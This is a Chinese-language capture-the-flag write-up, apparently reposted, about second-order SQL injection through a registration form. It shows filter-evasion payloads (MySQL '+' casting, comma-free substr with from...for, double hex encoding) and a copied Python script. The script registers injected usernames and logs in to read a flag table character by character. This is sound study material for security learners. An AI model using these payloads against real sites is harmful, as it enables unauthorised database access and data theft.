本文共 5406 字,大约阅读时间需要 18 分钟。
我们使用御剑,扫描一波
我们进入注册页面查看,发现这个,有注册的话猜一下二次注入(这里注入,然后去页面看结果) 我们先拿AWVS试试, 哦~我的上帝,它存在注入 我们试试,burp的fuzz看看他过滤了什么 还是过滤了蛮多的 这些是都没过滤的 既然知道了他是sql注入 那么我们为啥不用sqlmap呢 我们使用sqlmap,发现只能知道这里有注入点,但是过滤很严重 我们需要找找合适的tamper 哦~我的上帝,果然不行,看来还得看看师傅们怎么写的我们推测这里的语句是
insert into tables value('$email','$username','$passwpord');
SELECT * FROM tables WHERE email = ''$email";
那么尝试在注册时用户名处进行闭合。
用户名处构造group_concat(1,database()),database','1')#
结果返回
nnnnoooo!!!
有过滤, 被过滤就是这样子 用户名注册时加个单引号注册失败,双引号注册成功,说明可能为单引号闭合·,
注册一个。
email: 123@123.com
username: 1' and '0
password: 123
登陆发现,用户名处回显0 说明存在注入,and运算结果为0.
下面节选自
https://yanmie-art.github.io/2020/08/05/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8Cunfinish/与其他编程语言不同,MySQL中,+(加号)只有一个功能:运算符。
如果加号运算中有字符,那么mysql就会把字符转变为数字在相加,比如select ‘1’+‘1a’;结果为2,转换过程跟php类似。
下面看几个例子。
mysql> select '1'+'1a';+----------+| '1'+'1a' |+----------+| 2 |+----------+1 row in set, 1 warning (0.00 sec)mysql> select '0'+database();+----------------+| '0'+database() |+----------------+| 0 |+----------------+1 row in set (0.00 sec)
可以用截取的方法,截取处每一位,然后ascii编码。
mysql> select '0'+ascii(substr(database(),1,1));+-----------------------------------+| '0'+ascii(substr(database(),1,1)) |+-----------------------------------+| 100 |+-----------------------------------+1 row in set (0.00 sec)mysql> select '0'+ascii(substr(database(),2,1));+-----------------------------------+| '0'+ascii(substr(database(),2,1)) |+-----------------------------------+| 118 |+-----------------------------------+1 row in set (0.00 sec)
成功截取,但是逗号被过滤,该咋办。使用from...for...
代替。
mysql> select '0'+ascii(substr(database() from 1 for 1));+--------------------------------------------+| '0'+ascii(substr(database() from 1 for 1)) |+--------------------------------------------+| 100 |+--------------------------------------------+1 row in set (0.00 sec)mysql> select '0'+ascii(substr((database()) from 2 for 1));+----------------------------------------------+| '0'+ascii(substr((database()) from 2 for 1)) |+----------------------------------------------+| 118 |+----------------------------------------------+1 row in set (0.00 sec)
还有可以使用十六进制转换后运算
有疑问,为啥不用二进制或者八进制。用例子来说明:mysql> select bin('dvwa');+-------------+| bin('dvwa') |+-------------+| 0 |+-------------+1 row in set (0.00 sec)mysql> select oct('dvwa');+-------------+| oct('dvwa') |+-------------+| 0 |+-------------+1 row in set (0.00 sec)mysql> select hex('dvwa');+-------------+| hex('dvwa') |+-------------+| 64767761 |+-------------+1 row in set (0.00 sec)
可以看到,只有十六进制成功转换。
但是又出来一个问题,如果十六进制转换后的字符串有字母的话,转化为数字就会相加就会丢失字符。mysql> select hex('dvwa{}');+---------------+| hex('dvwa{}') |+---------------+| 647677617B7D |+---------------+1 row in set (0.00 sec)mysql> select hex('dvwa{}')+'0';+-------------------+| hex('dvwa{}')+'0' |+-------------------+| 647677617 |+-------------------+1 row in set (0.00 sec)所以需要在进行一次十六进制。mysql> select hex(hex('flag{}'));+--------------------------+| hex(hex('flag{}')) |+--------------------------+| 363636433631363737423744 |+--------------------------+1 row in set (0.00 sec)mysql> select hex(hex('flag{}'))+'0';+------------------------+| hex(hex('flag{}'))+'0' |+------------------------+| 3.636364336313637e23 |+------------------------+1 row in set (0.00 sec)
又但是当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度。
这里还可以使用分段读法。
mysql> select substr(hex(hex('dvwa{}')) from 1 for 10)+'0';+----------------------------------------------+| substr(hex(hex('dvwa{}')) from 1 for 10)+'0' |+----------------------------------------------+| 3634373637 |+----------------------------------------------+1 row in set (0.00 sec)mysql> select substr(hex(hex('dvwa{}')) from 11 for 10)+'0';+-----------------------------------------------+| substr(hex(hex('dvwa{}')) from 11 for 10)+'0' |+-----------------------------------------------+| 3736313742 |+-----------------------------------------------+1 row in set (0.00 sec)mysql> select substr(hex(hex('dvwa{}')) from 21 for 10)+'0';+-----------------------------------------------+| substr(hex(hex('dvwa{}')) from 21 for 10)+'0' |+-----------------------------------------------+| 3744 |+-----------------------------------------------+1 row in set (0.00 sec)mysql> select unhex(unhex(363437363737363137423744));+----------------------------------------+| unhex(unhex(363437363737363137423744)) |+----------------------------------------+| dvwa{} |+----------------------------------------+1 row in set (0.11 sec)
抄大佬的脚本
import requestsimport reregister_url = '/register.php'login_url = '/login.php'for i in range(1, 100): register_data = { 'email': '111@123.com%d' % i, 'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i, 'password': 'admin' } res = requests.post(url=register_url, data=register_data) login_data = { 'email': '111@123.com%d' % i, 'password': 'admin' } res_ = requests.post(url=login_url, data=login_data) code = re.search(r'\s*(\d*)\s*', res_.text) print(chr(int(code.group(1))), end='')
题目真的越来越难了,没有wp寸步难行唉,太菜了 转载地址:http://sgugf.baihongyu.com/